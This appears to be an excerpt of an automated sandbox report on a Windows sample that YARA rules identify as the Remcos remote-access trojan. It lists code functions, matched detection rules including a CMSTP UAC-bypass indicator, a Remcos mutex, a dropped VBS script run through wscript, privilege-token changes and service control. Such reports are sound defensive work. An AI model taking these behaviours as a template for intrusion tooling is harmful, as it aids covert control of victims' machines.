                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 5_2_004012465_2_00401246
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 5_2_0040CA465_2_0040CA46
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 5_2_004052355_2_00405235
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 5_2_004032C85_2_004032C8
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 5_2_004222D95_2_004222D9
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 5_2_004016895_2_00401689
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 5_2_00402F605_2_00402F60
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: String function: 004169A7 appears 87 times
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: String function: 00433AB0 appears 42 times
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: String function: 004165FF appears 35 times
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: String function: 004341C0 appears 55 times
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: String function: 00422297 appears 42 times
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: String function: 00401F66 appears 50 times
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: String function: 004020E7 appears 40 times
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: String function: 0044DB70 appears 41 times
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: String function: 00444B5A appears 37 times
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: String function: 00413025 appears 79 times
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: String function: 00416760 appears 69 times
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000003.1349262886.000000000323F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamemspass.exe8 vs 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000003.1349434721.0000000003259000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamemspass.exe8 vs 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000002.1422288417.0000000003F2B000.00000040.10000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenamemspass.exe8 vs 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000002.1421583698.000000000325D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamewscript.exe.mui` vs 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000002.1421583698.000000000325D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamewscript.exe` vs 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeBinary or memory string: OriginalFileName vs 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeBinary or memory string: OriginalFilename vs 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000005.00000002.1330108250.000000000041B000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenamemspass.exe8 vs 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, type: SAMPLEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, type: SAMPLEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, type: SAMPLEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                        Source: 4.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: 4.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                        Source: 4.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                        Source: 3.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: 3.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                        Source: 3.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                        Source: 5.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: 5.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                        Source: 5.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                        Source: 0.2.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: 0.2.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                        Source: 0.2.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                        Source: 0.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: 0.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                        Source: 0.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                        Source: 00000004.00000000.1326090867.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: 00000005.00000000.1327292616.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: 00000003.00000000.1325465619.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: 00000000.00000000.1298956079.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: Process Memory Space: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe PID: 7404, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: Process Memory Space: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe PID: 7612, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: Process Memory Space: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe PID: 7620, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: Process Memory Space: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe PID: 7636, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: classification engineClassification label: mal100.rans.phis.troj.spyw.expl.evad.winEXE@9/5@2/2
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_004182CE GetLastError,FormatMessageW,FormatMessageA,LocalFree,free,3_2_004182CE
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_00416C9D GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,0_2_00416C9D
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 5_2_00410DE1 GetCurrentProcess,GetLastError,GetProcAddress,GetProcAddress,LookupPrivilegeValueA,GetProcAddress,AdjustTokenPrivileges,CloseHandle,5_2_00410DE1
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_00418758 GetDiskFreeSpaceW,GetDiskFreeSpaceA,free,3_2_00418758
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0040E2F1 GetModuleFileNameW,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CloseHandle,0_2_0040E2F1
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0041A84A FindResourceA,LoadResource,LockResource,SizeofResource,0_2_0041A84A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_00419DBA OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,0_2_00419DBA
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\json[1].jsonJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeMutant created: \Sessions\1\BaseNamedObjects\Rmc-A5VKNH
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeFile created: C:\Users\user\AppData\Local\Temp\sxcxjfxyasvispvpbyusdoknnytawtn.vbsJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\sxcxjfxyasvispvpbyusdoknnytawtn.vbs"
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCommand line argument: Software\0_2_0040D83A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCommand line argument: Rmc-A5VKNH0_2_0040D83A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCommand line argument: Exe0_2_0040D83A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCommand line argument: Exe0_2_0040D83A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCommand line argument: Rmc-A5VKNH0_2_0040D83A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCommand line argument: 0TG0_2_0040D83A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCommand line argument: Inj0_2_0040D83A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCommand line argument: Inj0_2_0040D83A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCommand line argument: h&y0_2_0040D83A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCommand line argument: h&y0_2_0040D83A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCommand line argument: h&y0_2_0040D83A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCommand line argument: PSG0_2_0040D83A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCommand line argument: h&y0_2_0040D83A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCommand line argument: exepath0_2_0040D83A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCommand line argument: PSG0_2_0040D83A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCommand line argument: exepath0_2_0040D83A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCommand line argument: h&y0_2_0040D83A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCommand line argument: licence0_2_0040D83A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCommand line argument: dMG0_2_0040D83A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCommand line argument: hSG0_2_0040D83A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCommand line argument: Administrator0_2_0040D83A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCommand line argument: User0_2_0040D83A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCommand line argument: del0_2_0040D83A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCommand line argument: del0_2_0040D83A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCommand line argument: del0_2_0040D83A
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeSystem information queried: HandleInformationJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000004.00000002.1327429588.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
